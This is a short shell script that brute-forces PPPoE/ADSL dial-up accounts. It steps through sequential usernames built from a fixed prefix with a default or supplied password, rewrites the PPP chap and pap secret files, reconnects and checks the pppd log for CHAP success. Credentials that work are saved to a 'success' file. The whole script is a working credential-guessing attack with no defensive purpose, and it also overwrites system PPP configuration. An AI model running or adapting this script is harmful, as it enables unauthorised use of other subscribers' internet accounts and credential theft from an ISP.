#!/bin/sh #Copyright (C) Dong Pu #Copyright (C) WANG Cong #GPL v2 applies. if (($# <1)) ; then echo "Wrong usage!" echo "$0 Number [pass]" exit 1 fi header=111000 tailer=0 median=$1 pass1=111111 pass2=$2 zero=0 UP=/sbin/ifup DOWN=/sbin/ifdown ETHDOWN="/sbin/ifconfig eth0 down" ETHUP="/sbin/ifconfig eth0 up" PPPNAME=cnc CHAP=/etc/ppp/chap-secrets PAP=/etc/ppp/pap-secrets IFCFG=/etc/sysconfig/network-scripts/ifcfg-cnc LOG=/var/log/ppp.bug STOP=/sbin/adsl-stop PPPD=pppd while (($tailer <= 99)); do stailer=$tailer if (($tailer <= 9)); then stailer="$zero$tailer" fi user="$header$median$stailer" if [ -z $2 ];then pass=$pass1 else pass=$pass2 fi REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\"" sed '$d' $IFCFG > $IFCFG.tmp echo "USER=$user" >> $IFCFG.tmp mv $IFCFG.tmp $IFCFG echo -n '' > $CHAP echo -e $REPLACE > $CHAP echo -n '' > $PAP echo -e $REPLACE > $PAP echo -n '' > $LOG $DOWN $PPPNAME $STOP $IFCFG $ETHDOWN $ETHUP $UP $PPPNAME >/dev/null 2>&1 state=1 while [ $state = 1 ];do sleep 1 cat $LOG |grep 'CHAP authentication failed' state=$? let "counter+=1" if (($counter > 4));then break fi done cat $LOG |grep 'CHAP authentication succeeded' ret=$? if (($state == 0));then echo "$user+$pass failed!" else if (($ret == 0));then $ETHDOWN echo "Success:$user---$pass" >> success sleep 20 $ETHUP else $ETHDOWN echo -e "Too many process!\n Waiting pppd pppoe down...\n" sleep 20 $ETHUP /sbin/ifconfig eth0 fi fi let "tailer+=1" done exit 0